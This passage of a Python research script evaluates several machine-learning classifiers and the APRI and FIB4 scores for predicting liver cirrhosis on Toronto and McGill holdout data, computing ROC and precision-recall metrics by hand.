len(Xp_test)):\n\t\tprob_sum = 0\n\t\tterms = 0\n\t\tweight_sum = 0\n\t\tf4_votes = 0\n\t\tf0_votes = 0\n\n\t\tfor alg in algs:\n\t\t\tprob_sum += alg[i]\n\t\t\tterms += 1\n\t\tprobabilities.append(prob_sum/terms)\n#\t\tif ((ap[i] == 0.5 and params['indets'] == 'APRI') or (fb[i] == 0.5 and params['indets'] == 'FIB4')):\n#\t\t\t\tindet_count += 1\n#\t\t\t\tcontinue\n\t\tp=('%.2f' %  (probabilities[i]))\n\t\tif (probabilities[i] >= (params['threshold'] + params['indet_range_high'])):\n\t\t\t#print('Guessed 4 for probability: ' + str(probabilities[i]) + ' at threshold ' + str(params['threshold'] + params['indet_range_high']))        \n\t\t\tYp_pred_new.append(4)\n\t\t\tYp_test_new.append(Yp_test[i])\n\t\t\tYp_prob_new.append(probabilities[i])\n\t\t\tdet_indices.append(i)\n\t\t\tprint(p + ' guessed F4')\n\t\telif (probabilities[i] < (params['threshold'] - params['indet_range_low'])):\n\t\t\tYp_pred_new.append(0)\n\t\t\tYp_test_new.append(Yp_test[i])\n\t\t\tYp_prob_new.append(probabilities[i])\n\t\t\t#print('Guessed 0 for probability: ' + str(probabilities[i]) + ' at threshold ' + str(params['threshold'] - params['indet_range_low']))        \n\t\t\tdet_indices.append(i)\n\t\t\tprint(p + ' guessed F01')\n\t\telse:\n\t\t\tif(params['indet_guess_mode'] == 'none'):\n\t\t\t\tindet_count += 1\n\t\t\telif(params['indet_guess_mode'] == 'aprifib4'):\n\t\t\t\tif(ap[i] == 1 and fb[i] == 1):\n\t\t\t\t\t#print('Guessed indeterminate, but APRI and FIB4 both said 4')                \n\t\t\t\t\tYp_pred_new.append(4)\n\t\t\t\t\tYp_test_new.append(Yp_test[i])\n\t\t\t\t\tYp_prob_new.append(probabilities[i])\n\t\t\t\t\tdet_indices.append(i)\n\t\t\t\t\tprint(p + ' guessed F4 w/ AF')\n\t\t\t\telif(ap[i] == 0 and fb[i] == 0):\n\t\t\t\t\t#print('Guessed indeterminate, but APRI and FIB4 both said 0')                    \n\t\t\t\t\tYp_pred_new.append(0)\n\t\t\t\t\tYp_test_new.append(Yp_test[i])\n\t\t\t\t\tYp_prob_new.append(probabilities[i])\n\t\t\t\t\tdet_indices.append(i)\n\t\t\t\t\tprint(p + ' guessed F01 w/ AF')\n\t\t\t\telse:\n\t\t\t\t\tprint('Guessed indeterminate on an ' + str(Yp_test[i]))                    \n\t\t\t\t\tindet_count += 1\n#\t\t\t\t\tif (Yp_test[i] == 4):\n#\t\t\t\t\t   indet_f4 += 1\n#\t\t\t\t\telse:\n#\t\t\t\t\t   indet_f0 += 1\n#    \n#\tprint('ENS3 # of indet F4s: ' + str(indet_f4))\n#\tprint('ENS3 # of indet F01s: ' + str(indet_f0))\n\tprint(Yp_pred_new)                \n\treturn Yp_pred_new, Yp_prob_new, Yp_test_new, indet_count, det_indices\n\ndef write_performance_metrics(cms, names, aurocs, man_aurocs, auprcs, man_auprcs, indet_array, threshold_array, excluded_algs, noshow):\n\tfrom beautifultable import BeautifulTable\n\ttable = BeautifulTable(max_width=300)\n\ttable.append_column(' ', ['sensitivity', 'specificity', 'PPV', 'NPV', 'accuracy', 'Manual AUROC', 'Manual AUPRC', '% indet', 'Dec. Thresh. (%)'])\n\tcount = 0\n\tfor cm in cms:\n\t\tif (names[count] in excluded_algs):\n\t\t\tprint('Did not include ' + str(names[count]) + 'results!')\n\t\t\tcount += 1 \n\t\t\tcontinue \n\t\tif (names[count] in noshow):\n\t\t\t#print('Did not show ' + str(names[count]) + 'results!')\n\t\t\tcount += 1 \n\t\t\tcontinue      \n#\t\tif (names[count] == 'APRI' or names[count] == 'FIB4'):\n#        \t\tcount += 1\n#        \t\tcontinue\n\t\t#if (names[count] != 'ENS1' and names[count] != 'ENS2' and names[count] != 'ENS3'):\n        #\t\tcount += 1\n        #\t\tcontinue\n\t\ttot = cm[0,0] + cm[0,1] + cm[1,0] + cm[1,1]\n\t\ttp = cm[1,1]\n\t\tfp = cm[0,1]\n\t\ttn = cm[0,0]\n\t\tfn = cm[1,0]\n\n\t\taccuracy = 100*(tp + tn)/(tot)\n\t\tprecision = 100*tp/(tp + fp)\n\t\tnegPredVal = 100*tn/(tn + fn)\n\t\tsensitivity = 100*tp/(tp + fn)\n\t\tfalseNegRate = 100*fn/(fn + tp)\n\t\tspecificity = 100*tn/(tn + fp)\n\t\tfalsePosRate = 100*fp/(fp + tn)\n\t\tf1 = 100*2*precision*sensitivity/(precision + sensitivity)\n\t\tauc = aurocs[count]\n\t\tman_aucs = man_aurocs[count]\n\t\tprc = auprcs[count]\n\t\tman_prcs = man_auprcs[count]\n\t\tindt = indet_array[count]\n\t\tthresh = threshold_array[count]\n\t\ttable.append_column(names[count], [(' %0.1f' % sensitivity), (' %0.1f' % specificity), (' %0.1f' % precision), (' %0.1f' % negPredVal), (' %0.1f' % accuracy), (' %0.1f' % (100*man_aucs)), (' %0.1f' % (100*man_prcs)), (' %0.1f' % (100*indt)), thresh])\n\t\tcount += 1\n\tprint(table)\n    \ndef my_auprc_non_prob(test_values, Yp_test):\n    thresholds = np.linspace(0, np.max(test_values)+0.5, 1000)\n    \n    tprs = []\n    precs = []\n    \n    for t in thresholds: \n        Yp_pred = (test_values >= t)*4\n\n        cm = my_confusion_matrix(Yp_test, Yp_pred)\n\t\t\n        tp = cm[1,1]\n        fp = cm[0,1]\n        fn = cm[1,0]\n\n        if (tp + fn == 0):\n            tprs.append(np.nan)\n        else:\n            tprs.append(tp/(tp+fn))\n\t\n        if (tp + fp == 0):\n            precs.append(np.nan)\n        else:\n            precs.append(tp/(tp+fp))\t\n      \n#        print('Threshold: ' + str(t))\n#        print(Yp_pred)\n#        print(Yp_test)\n#        print('TPRS: ' + str(tprs[len(tprs)-1]))\n#        print('PRECS: ' + str(precs[len(precs)-1]))\n#        print('Threshold: ' + str(t))\n#        print('TPRS:')\n#        print(tprs)\n#        print('PRECS:')\n#        print(precs)\n#        print('')\n#        input('Press enter to continue!')\n        \n    prc_curve = []\n    prc_tprs = np.array([])\n    prc_prcs = np.array([])\n    \n    for i in range(0, len(tprs) - 1):\n        tpr = tprs[i]\n        pre = precs[i]\n    \n        if (np.isnan(tpr) == True or np.isnan(pre) == True):\n            continue \n        if (np.isnan(tpr) == False and np.isnan(pre) == False):\n            prc_tprs = np.append(prc_tprs, tpr)\n            prc_prcs = np.append(prc_prcs, pre)\n\n    if (prc_tprs[-1] == 0 and prc_prcs[-1] == 0):\n        prc_tprs = np.append(prc_tprs, np.array([1]))\n        prc_prcs = np.append(prc_prcs, np.array([0]))\n    else:\n        prc_tprs = np.append(prc_tprs, np.array([0,0,1]))\n        prc_prcs = np.append(prc_prcs, np.array([1,0,0]))\n\n    auprc1 = area_by_shoelace(prc_tprs, prc_prcs)\n    \n    for i in range(0, len(tprs) - 1):\n        if (np.isnan(tprs[i]) == False and np.isnan(precs[i]) == False):\n            prc_curve.append((tprs[i], precs[i]))\n    #prc_curve = np.sort(prc_curve, axis=0)\n    sorted_tprs = []\n    sorted_precs = []\n    \n    for i in range(0,len(prc_curve)-1):\n        sorted_tprs.append(prc_curve[i][0])\n        sorted_precs.append(prc_curve[i][1])\n    auprc = auc(sorted_tprs, sorted_precs, reorder=True)\n#    print('Original method: ' + str(auprc))\n#    print('Shoelace method: ' + str(auprc1))\n#    input('Press enter to continue!')\n    \n    return auprc1, sorted_tprs, sorted_precs, prc_curve\n\ndef my_auroc_non_prob(test_values, Yp_test):\n\tthresholds = np.linspace(np.min(test_values),np.max(test_values),1000)\n\n\tfprs = []\n\ttprs = []\n    \n\tfor t in thresholds:\n\t\tYp_pred = (test_values >= t)*4\n\t\tcm = my_confusion_matrix(Yp_test, Yp_pred)\n\t\t\n\t\ttp = cm[1,1]\n\t\tfp = cm[0,1]\n\t\ttn = cm[0,0]\n\t\tfn = cm[1,0]\n\t\n\t\tif (fp + tn == 0):\n\t\t\tfprs.append(np.nan)\n\t\telse:\n\t\t\tfprs.append(fp/(fp+tn))\n\n\t\tif (tp + fn == 0):\n\t\t\ttprs.append(np.nan)\n\t\telse:\n\t\t\ttprs.append(tp/(tp+fn))\n\t    \n\troc_curve = [(0,0),(1,1)]\n    \n\tfor i in range(0,len(fprs)-1):\n\t\tif (np.isnan(fprs[i]) == False and np.isnan(tprs[i]) == False):\n\t\t\troc_curve.append((fprs[i], tprs[i]))\n         \n\troc_curve = np.sort(roc_curve, axis=0)\n\tsorted_fprs = []\n\tsorted_tprs = []    \n    \n\tfor i in range(0,len(roc_curve)-1):\n\t\tsorted_fprs.append(roc_curve[i][0])\n\t\tsorted_tprs.append(roc_curve[i][1])\n\tauroc = auc(sorted_fprs, sorted_tprs)\n    \n\treturn auroc, sorted_fprs, sorted_tprs\n\ndef my_auprc_prob(probs, Yp_test):\n\tfrom sklearn.metrics import auc\n\tfrom numpy import trapz\n\ttprs = []\n\tprecs = []\n\tthreshs = []\n\n\tfor i in range(0,250):\n\t\tthresh = i/250\n\t\tYp_pred = (np.asarray(probs) > np.asarray(thresh))*4\n\t\tcm = my_confusion_matrix(Yp_test, Yp_pred)\n\t\t\n\t\ttp = cm[1,1]\n\t\tfp = cm[0,1]\n\t\tfn = cm[1,0]\n        \n        \n\t\tif (tp + fn == 0 or tp + fp == 0):\n\t\t\t\ttprs.append(np.nan)\n\t\t\t\tprecs.append(np.nan)\t\t\t\n\t\t\t\tthreshs.append(np.nan)\n\t\telse:\n\t\t\t\tprecs.append(tp/(tp+fp))\t\t\t\n\t\t\t\ttprs.append(tp/(tp+fn))\n\t\t\t\tthreshs.append(thresh)\n\n\ttprs.append(1)\n\tprecs.append(0)\n\tthreshs.append(np.nan)    \n    \n\ttprs.append(0)\n\tprecs.append(1)   \n\tthreshs.append(np.nan)    \n\n\tprc_curve = []\n\tprc_tprs = np.array([])\n\tprc_prcs = np.array([])\n    \n\tfor i in range(0, len(tprs) - 1):\n\t\ttpr = tprs[i]\n\t\tpre = precs[i]\n    \n\t\tif (np.isnan(tpr) == True or np.isnan(pre) == True):\n\t\t\tcontinue \n\t\tif (np.isnan(tpr) == False and np.isnan(pre) == False):\n\t\t\tif (tpr == 1 and pre == 0):\n\t\t\t\tcontinue\n\t\t\tprc_tprs = np.append(prc_tprs, tpr)\n\t\t\tprc_prcs = np.append(prc_prcs, pre)\n\n\tif (prc_tprs[-1] == 0 and prc_prcs[-1] == 0):\n\t\tprc_tprs = np.append(prc_tprs, np.array([1]))\n\t\tprc_prcs = np.append(prc_prcs, np.array([0]))\n\telse:\n\t\tprc_tprs = np.append(prc_tprs, np.array([0,0,1]))\n\t\tprc_prcs = np.append(prc_prcs, np.array([1,0,0]))\n\n#\tfor i in range(0, len(prc_tprs)):\n#\t\tprint('(%0.3f, %0.3f)' % (prc_tprs[i], prc_prcs[i]))\n\n\tauprc1 = area_by_shoelace(prc_tprs, prc_prcs)\n\n\n\tfor i in range(0,max(len(tprs), len(precs))):\n\t\tif (np.isnan(tprs[i]) == False and np.isnan(precs[i]) == False):\n\t\t\tprc_curve.append([tprs[i],  precs[i]])\n\tsorted_tprs = []\n\tsorted_precs = []\n    \n\tfor i in range(0,len(prc_curve)):\n\t\tsorted_tprs.append(prc_curve[i][0])\n\t\tsorted_precs.append(prc_curve[i][1])\n\tauprc = auc(sorted_tprs, sorted_precs, reorder=True)\n\t\n\t#temp = pd.DataFrame(data=[tprs, precs])\n\t#temp = temp.transpose()\n\t#temp.to_csv('temp_AUPRC_check.csv')\n    \n#\tprint('Old method AUPRC: ' + str(auprc))\n#\tprint('Shoelace method AURPC: ' + str(auprc1))\n#\tinput('Batman') \n\n\t#return auprc, sorted_tprs, sorted_precs\n\treturn auprc1, tprs, precs\n\ndef my_auroc_prob(probs, Yp_test):\n\tfrom sklearn.metrics import auc\n\tfprs = []\n\ttprs = []\n\n\tfor i in range(0,3001):\n\t\tthresh = i/3000\n\t\tYp_pred = (np.asarray(probs) > np.asarray(thresh))*4\n\t\tcm = my_confusion_matrix(Yp_test, Yp_pred)\n        \t\t\n\t\ttp = cm[1,1]\n\t\tfp = cm[0,1]\n\t\ttn = cm[0,0]\n\t\tfn = cm[1,0]\n        \n\t\tif (fp + tn == 0):\n\t\t\tfprs.append(np.nan)\n\t\telse:\n\t\t\tfprs.append(fp/(fp+tn))\n\n\t\tif (tp + fn == 0):\n\t\t\ttprs.append(np.nan)\n\t\telse:\n\t\t\ttprs.append(tp/(tp+fn))\n            \n\troc_curve = [(0,0),(1,1)]\n\n\tfor i in range(0,len(fprs)-1):\n\t\tif (np.isnan(fprs[i]) == False and np.isnan(tprs[i]) == False):\n\t\t\troc_curve.append((fprs[i],  tprs[i]))\n            \n\troc_curve = np.sort(roc_curve, axis=0)\n\tsorted_fprs = []\n\tsorted_tprs = []\n\tfor i in range(0,len(roc_curve)-1):\n\t\tsorted_fprs.append(roc_curve[i][0])\n\t\tsorted_tprs.append(roc_curve[i][1])\n\tauroc = auc(sorted_fprs, sorted_tprs)\n\treturn auroc, sorted_fprs, sorted_tprs\n\ndef my_confusion_matrix(truth, pred):\n    TN_count = 0\n    TP_count = 0\n    FP_count = 0\n    FN_count = 0\n    \n    for i in range(0,len(truth)):\n        if(pred[i] == 0 and truth[i] == 0):\n            TN_count += 1\n        elif(pred[i] == 4 and truth[i] == 4):\n            TP_count += 1\n        elif(pred[i] == 4 and truth[i] == 0):\n            FP_count += 1\n        elif(pred[i] == 0 and truth[i] == 4):\n            FN_count += 1\n\n    cm = np.ndarray(shape=(2,2))\n    cm[1,1] = TP_count\n    cm[0,1] = FP_count\n    cm[0,0] = TN_count\n    cm[1,0] = FN_count\n    return cm\n# Testing with ICES data to make sure the rest of the code works. This code is only loaded at runtime, and is not saved anywhere in the directories being extracted.\n#dataset = pd.read_csv('/dshroot/projects/hspe/dsh0990.111.003/user_data/ssabetsarvestany/dataset_assembly/dataset_bx_30.csv')\n#dataset['sex'] = np.where(dataset['sex'] == 'Male', 0, 1)\n#dataset['reckey_enc'] = dataset['reckey_enc'].astype(str)\n#dataset['patientID'] = dataset['reckey_enc'] + '|' + dataset['bx_date']\n#dataset = dataset.sort_values(by='bx_date', ascending=False)\n#dataset = dataset.reset_index(drop=True)\n#dataset = dataset.loc[dataset['bx_date'] >= '2012-01-01']\n#dataset = dataset.loc[dataset['with_olis_missingness'] <= 3]\n#dataset = dataset.rename(columns={'calc_bmi': 'bmi'})\n#features = ['sex', 'age', 'albumin', 'alp', 'alt', 'ast', 'tot_bil', 'creatinine', 'inr', 'platelets', 'bmi', 'diabetes', 'hb', 'wbc', 'fibrosis', 'patientID', 'bx_date', 'reckey_enc']\n#dataset = dataset[features]\n\ndesc_string = ''\ndata = 'McGill' \nmissThresh = 3\nexc = []\n\nno_show = []# ['SVM', 'RFC', 'GBC', 'LOG', 'MLP']\nexc_alg = ['KNN']\n\ndesc_string += data + ' holdout set, missingness <=' + str(missThresh)\n\nif ('Age' in exc):\n    desc_string += ', Age <= 60'\nif ('Albumin' in exc):\n    desc_string += ', Albumin >= 30'\n\n#Code to import Toronto 2015-2016 and Mcgill datasets once everything has been extracted\nconn_str = (r'DRIVER={Microsoft Access Driver (*.mdb, *.accdb)};'r'DBQ=C:\\Users\\Darth\\Desktop\\Thesis\\Data\\Fibrosis.accdb;')\ncnxn = db.connect(conn_str)\ncursor = cnxn.cursor()\n\nif (data == 'Toronto'):\n    sql = \"SELECT * FROM _TorontoHoldOut30\"\nif (data == 'McGill'):\n    sql = \"SELECT * FROM _McGillData WHERE Neoplasm=0 AND FIBROSIS IS NOT NULl\"\nif (data == 'Expert'):\n    sql = \"SELECT * FROM _ExpertPredsCombined WHERE bx_date IS NOT NULL\"#_ExpertPredsCombined\"\n\ndataset = pd.read_sql(sql, cnxn)\n\n#ds1 = pd.read_sql(\"SELECT * FROM _TorontoHoldOut30 WHERE [WilsonsDisease]=1 OR OTHER=1\", cnxn)\n#ds2 = pd.read_sql(\"SELECT * FROM _McGillData WHERE NEOPLASM=0 AND ([WilsonsDisease]=1 OR OTHER=1)\", cnxn)\n#dataset = ds1.append(ds2)\n#print(dataset.columns.tolist())\n#dataset = dataset.loc[dataset['Other'] == 1]\n#dataset = dataset.loc[dataset['AST'] < 1000]\ndataset = dataset.reset_index(drop=True)\ndataset = dataset.loc[dataset['missingness'] <= missThresh]\n#dataset = dataset.loc[(dataset['Fibrosis'] == 0) | (dataset['Fibrosis'] == 1) | (dataset['Fibrosis'] == 4)]\n#dataset['Fibrosis'] = np.where(dataset['Fibrosis'] == 2, 4, dataset['Fibrosis'])\n#dataset['Fibrosis'] = np.where(dataset['Fibrosis'] == 3, 4, dataset['Fibrosis'])\ndataset['Fibrosis'] = np.where(dataset['Fibrosis'] >= 4, 4, 0)\n\nif ('Age' in exc):\n    dataset = dataset.loc[dataset['Age'] <= 60]\n\nif ('Albumin' in exc):\n    dataset = dataset.loc[dataset['Albumin'] >= 30]\n\n#exp_data = pd.read_sql(\"SELECT * FROM _ExpertPreds\", cnxn)\n#exp_data = exp_data.reset_index(drop=True)\n#exp_data['Fibrosis'] = np.where(exp_data['Fibrosis'] == 'F 4', 4, 0)\n\n#F01s = dataset.loc[dataset['Fibrosis'] == 0]\n#F4s = dataset.loc[dataset['Fibrosis'] == 4]\n#F01s = F01s.sample(len(F4s), random_state=20)\n#dataset = F01s.append(F4s, ignore_index=False, verify_integrity=True)\n#dataset = dataset.sample(frac=1, random_state=0)\n\n#print('Number of records: ' + str(len(dataset)))\n#print('Number of NAFL records: ' + str(num_nafl))\n#print('% NAFL: ' + str(100*num_nafl/len(dataset)))\n#print(dataset.columns.tolist())\nfeatures = ['Sex', 'Age', 'Albumin', 'ALP', 'ALT', 'AST', 'Bilirubin', 'Creatinine', 'INR', 'Platelets', 'BMI', 'Diabetes', 'Hb', 'WBC', 'Fibrosis', 'patientID', 'bx_date', 'reckey_enc']\ndataset = dataset[features]\n\nF0 = dataset.loc[dataset['Fibrosis'] == 0]\nF4 = dataset.loc[dataset['Fibrosis'] == 4]\n\n#information(F0)\n#show('Enter to continue')\n#information(F4)\n\n#exp_data = exp_data[features]\n#dataset['Sex'] = dataset['Sex'].astype(int)\n\n#exp_data = exp_data.loc[exp_data['Age'] < 60]\n#exp_data = exp_data.loc[exp_data['Albumin'] >= 30]\n#exp_data = exp_data.reset_index(drop=True)\n\nimputer = joblib.load('imputer.joblib')\nscaler = joblib.load('scaler.joblib')\n\n# Predicting on Toronto and McGill datasets\nX_test_unimp = dataset.iloc[:,0:len(features) - 4].values\nX_test_imp = imputer.transform(X_test_unimp)\nX_test_imp_scl = scaler.transform(X_test_imp)\nY_test = dataset.iloc[:,len(features)-4].values\n\n# Predicting on Expert Cases\n#X_test_unimp = exp_data.iloc[:,0:len(features)-4].values\n#X_test_imp = imputer.transform(X_test_unimp)\n#X_test_imp_scl = scaler.transform(X_test_imp)\n#Y_test = exp_data.iloc[:,len(features)-4].values\n\ncm_array = []\nname_array = []\nauroc_array = []\nmy_auroc_array = []\nauprc_array = []\nmy_auprc_array = []\nindet_array = []\nthreshold_array = []\n\n#Loading the algorithms used in the ensemble model\nprint('Now making predictions for SVM')\nSVM_model = joblib.load('SVM.joblib')\nSVM_probs = SVM_model.predict_proba(X_test_imp_scl[:,[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 11]])\nSVM_probs = SVM_probs[:,1]\nSVM_fprs_py, SVM_tprs_py, threshold = roc_curve(Y_test/4, SVM_probs)\nSVM_precs_py, SVM_recs_py, thresholds = precision_recall_curve(Y_test/4, SVM_probs)\nSVM_preds = (SVM_probs > 0.4)*4\nSVM_cm = my_confusion_matrix(Y_test,SVM_preds)\ncm_array.append(SVM_cm)\nname_array.append('SVM')\ntry:\n    auroc_array.append(roc_auc_score(Y_test/4, SVM_probs)) # Python calculated AUROC\nexcept ValueError:\n    auroc_array.append(np.nan)\ntry: \n    SVM_AUROC, SVM_fprs, SVM_tprs = my_auroc_prob(SVM_probs, Y_test) # Manually calculated AUROC\n    my_auroc_array.append(SVM_AUROC)\nexcept ValueError:\n    my_auroc_array.append(np.nan)\ntry:\n    auprc_array.append(auc(SVM_recs_py, SVM_precs_py))\nexcept ValueError:\n    auprc_array.append(np.nan)\ntry:\n    SVM_AUPRC, SVM_recs, SVM_precs = my_auprc_prob(SVM_probs, Y_test)\n    my_auprc_array.append(SVM_AUPRC)    \nexcept ValueError:\n    my_auprc_array.append(np.nan)\nexcept IndexError:\n    my_auprc_array.append(np.nan)\n\nindet_array.append(0)\nthreshold_array.append(0.4)\n\nprint('Now making predictions for RFC')\nRFC_model = joblib.load('RFC.joblib')\nRFC_probs = RFC_model.predict_proba(X_test_imp_scl[:,[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]])\nRFC_probs = RFC_probs[:,1]\nRFC_fprs_py, RFC_tprs_py, threshold = roc_curve(Y_test/4, RFC_probs)\nRFC_precs_py, RFC_recs_py, thresholds = precision_recall_curve(Y_test/4, RFC_probs)\nRFC_preds = (RFC_probs > 0.4)*4\nRFC_cm = my_confusion_matrix(Y_test,RFC_preds)\ncm_array.append(RFC_cm)\nname_array.append('RFC') \ntry:\n    auroc_array.append(roc_auc_score(Y_test/4, RFC_probs)) # Python calculated AUROC\nexcept ValueError:\n    auroc_array.append(np.nan)\n    \ntry: \n    RFC_AUROC, RFC_fprs, RFC_tprs = my_auroc_prob(RFC_probs, Y_test) # Manually calculated AUROC\n    my_auroc_array.append(RFC_AUROC)\nexcept ValueError:\n    my_auroc_array.append(np.nan)\n    \ntry:\n    auprc_array.append(auc(RFC_recs_py, RFC_precs_py))\nexcept ValueError:\n    auprc_array.append(np.nan)\n\ntry:\n    RFC_AUPRC, RFC_recs, RFC_precs = my_auprc_prob(RFC_probs, Y_test)\n    my_auprc_array.append(RFC_AUPRC)    \nexcept ValueError:\n    my_auprc_array.append(np.nan)\nexcept IndexError:\n    my_auprc_array.append(np.nan)      \nindet_array.append(0)\nthreshold_array.append(0.4)\n\nprint('Now making predictions for GBC')\nGBC_model = joblib.load('GBC.joblib')\nGBC_probs = GBC_model.predict_proba(X_test_imp_scl[:,[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 11]])\nGBC_probs = GBC_probs[:,1]\nGBC_fprs_py, GBC_tprs_py, threshold = roc_curve(Y_test/4, GBC_probs)\nGBC_precs_py, GBC_recs_py, thresholds = precision_recall_curve(Y_test/4, GBC_probs)\nGBC_preds = (GBC_probs > 0.4)*4\nGBC_cm = my_confusion_matrix(Y_test,GBC_preds)\ncm_array.append(GBC_cm)\nname_array.append('GBC')\ntry:\n    auroc_array.append(roc_auc_score(Y_test/4, GBC_probs)) # Python calculated AUROC\nexcept ValueError:\n    auroc_array.append(np.nan)\n    \ntry: \n    GBC_AUROC, GBC_fprs, GBC_tprs = my_auroc_prob(GBC_probs, Y_test) # Manually calculated AUROC\n    my_auroc_array.append(GBC_AUROC)\nexcept ValueError:\n    my_auroc_array.append(np.nan)\n    \ntry:\n    auprc_array.append(auc(GBC_recs_py, GBC_precs_py))\nexcept ValueError:\n    auprc_array.append(np.nan)\n\ntry:\n    GBC_AUPRC, GBC_recs, GBC_precs = my_auprc_prob(GBC_probs, Y_test)\n    my_auprc_array.append(GBC_AUPRC)    \nexcept ValueError:\n    my_auprc_array.append(np.nan)\nexcept IndexError:\n    my_auprc_array.append(np.nan)        \nindet_array.append(0)\nthreshold_array.append(0.4)\n\n\n#print('Feature ranking for GBC')\n#for i in range(0,11):\n#    key = feats[i][0]\n#    val = feats[i][1]\n#    print('%10s:    %0.2f' % (key, val))\n#\n#for key in feats: \n#    print('%5s %0.2f'%(key, feats[0](key)))\n    \nprint('Now making predictions for LOG')\nLOG_model = joblib.load('LOG.joblib')\nLOG_probs = LOG_model.predict_proba(X_test_imp_scl[:,[0, 1, 2, 4, 5, 6, 7, 8, 9, 10, 11]])\nLOG_probs = LOG_probs[:,1]\nLOG_fprs_py, LOG_tprs_py, threshold = roc_curve(Y_test/4, LOG_probs)\nLOG_precs_py, LOG_recs_py, thresholds = precision_recall_curve(Y_test/4, LOG_probs)\nLOG_preds = (LOG_probs > 0.4)*4\nLOG_cm = my_confusion_matrix(Y_test,LOG_preds)\ncm_array.append(LOG_cm)\nname_array.append('LOG')\ntry:\n    auroc_array.append(roc_auc_score(Y_test/4, LOG_probs)) # Python calculated AUROC\nexcept ValueError:\n    auroc_array.append(np.nan)\n    \ntry: \n    LOG_AUROC, LOG_fprs, LOG_tprs = my_auroc_prob(LOG_probs, Y_test) # Manually calculated AUROC\n    my_auroc_array.append(LOG_AUROC)\nexcept ValueError:\n    my_auroc_array.append(np.nan)\n    \ntry:\n    auprc_array.append(auc(LOG_recs_py, LOG_precs_py))\nexcept ValueError:\n    auprc_array.append(np.nan)\n\ntry:\n    LOG_AUPRC, LOG_recs, LOG_precs = my_auprc_prob(LOG_probs, Y_test)\n    my_auprc_array.append(LOG_AUPRC)    \nexcept ValueError:\n    my_auprc_array.append(np.nan)    \nexcept IndexError:\n    my_auprc_array.append(np.nan)\nindet_array.append(0)\nthreshold_array.append(0.4)\n\nprint('Now making predictions for KNN')\nKNN_model = joblib.load('KNN.joblib')\nKNN_probs = KNN_model.predict_proba(X_test_imp_scl[:,[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]])\nKNN_probs = KNN_probs[:,1]\nKNN_fprs_py, KNN_tprs_py, threshold = roc_curve(Y_test/4, KNN_probs)\nKNN_precs_py, KNN_recs_py, thresholds = precision_recall_curve(Y_test/4, KNN_probs)\nKNN_preds = (KNN_probs > 0.4)*4\nKNN_cm = my_confusion_matrix(Y_test,KNN_preds)\ncm_array.append(KNN_cm)\nname_array.append('KNN')\ntry:\n    auroc_array.append(roc_auc_score(Y_test/4, KNN_probs)) # Python calculated AUROC\nexcept ValueError:\n    auroc_array.append(np.nan)\n    \ntry: \n    KNN_AUROC, KNN_fprs, KNN_tprs = my_auroc_prob(KNN_probs, Y_test) # Manually calculated AUROC\n    my_auroc_array.append(KNN_AUROC)\nexcept ValueError:\n    my_auroc_array.append(np.nan)\n    \ntry:\n    auprc_array.append(auc(KNN_recs_py, KNN_precs_py))\nexcept ValueError:\n    auprc_array.append(np.nan)\n\ntry:\n    KNN_AUPRC, KNN_recs, KNN_precs = my_auprc_prob(KNN_probs, Y_test)\n    my_auprc_array.append(KNN_AUPRC)    \nexcept ValueError:\n    my_auprc_array.append(np.nan)  \nexcept IndexError:\n    my_auprc_array.append(np.nan)\nindet_array.append(0)\nthreshold_array.append(0.4)\n\nprint('Now making predictions for MLP')\nMLP_model = joblib.load('MLP.joblib')\nMLP_probs = MLP_model.predict_proba(X_test_imp_scl[:,[0, 1, 2, 3, 4, 5, 8, 9, 10, 11]])\nMLP_probs = MLP_probs[:,1]\nMLP_fprs_py, MLP_tprs_py, threshold = roc_curve(Y_test/4, MLP_probs)\nMLP_precs_py, MLP_recs_py, thresholds = precision_recall_curve(Y_test/4, MLP_probs)\nMLP_preds = (MLP_probs > 0.4)*4\nMLP_cm = my_confusion_matrix(Y_test,MLP_preds)\ncm_array.append(MLP_cm)\nname_array.append('MLP')\ntry:\n    auroc_array.append(roc_auc_score(Y_test/4, MLP_probs)) # Python calculated AUROC\nexcept ValueError:\n    auroc_array.append(np.nan) \ntry: \n    MLP_AUROC, MLP_fprs, MLP_tprs = my_auroc_prob(MLP_probs, Y_test) # Manually calculated AUROC\n    my_auroc_array.append(MLP_AUROC)\nexcept ValueError:\n    my_auroc_array.append(np.nan)\ntry:\n    auprc_array.append(auc(MLP_recs_py, MLP_precs_py))\nexcept ValueError:\n    auprc_array.append(np.nan)\ntry:\n    MLP_AUPRC, MLP_recs, MLP_precs = my_auprc_prob(MLP_probs, Y_test)\n    my_auprc_array.append(MLP_AUPRC)    \nexcept ValueError:\n    my_auprc_array.append(np.nan)  \nexcept IndexError:\n    my_auprc_array.append(np.nan)\n    \nindet_array.append(0)\nthreshold_array.append(0.4)\n\nprint('Now making predictions for APRI')\nAPRI_preds, APRI_probs, APRI_test, APRI_indet_count, APRI_values = APRI_class(X_test_imp[:,[0, 5, 9]], Y_test)\nAPRI_precs_py, APRI_recs_py, thresholds = precision_recall_curve(Y_test/4, APRI_probs)\nAPRI_cm = my_confusion_matrix(APRI_test,APRI_preds)\ncm_array.append(APRI_cm)\nname_array.append('APRI')\ntry:\n    auroc_array.append(roc_auc_score(Y_test/4, APRI_probs))\nexcept ValueError:\n    auroc_array.append(np.nan)\ntry: \n    APRI_AUROC, APRI_fprs, APRI_tprs = my_auroc_non_prob(APRI_values, APRI_test)\n    my_auroc_array.append(APRI_AUROC)\nexcept ValueError:\n    my_auroc_array.append(np.nan)\ntry:\n    auprc_array.append(auc(APRI_recs_py, APRI_precs_py))\nexcept ValueError:\n    auprc_array.append(np.nan)\ntry:\n    APRI_AUPRC, APRI_recs, APRI_precs, APRI_prc_curve = my_auprc_non_prob(APRI_values, APRI_test)\n    my_auprc_array.append(APRI_AUPRC) \nexcept ValueError:\n    my_auprc_array.append(np.nan)    \nexcept IndexError:\n    my_auprc_array.append(np.nan)\n    \nindet_array.append(APRI_indet_count/len(Y_test))\nthreshold_array.append('n/a')\n\nprint('Now making predictions for FIB4')\nFIB4_preds, FIB4_probs, FIB4_test, FIB4_indet_count, FIB4_values = FIB4_class(X_test_imp[:,[1, 4, 5, 9]], Y_test)\nFIB4_precs_py, FIB4_recs_py, thresholds = precision_recall_curve(Y_test/4, FIB4_probs)\nFIB4_cm = my_confusion_matrix(FIB4_test,FIB4_preds)\ncm_array.append(FIB4_cm)\nname_array.append('FIB4')\ntry:\n    auroc_array.append(roc_auc_score(Y_test/4, FIB4_probs))\nexcept 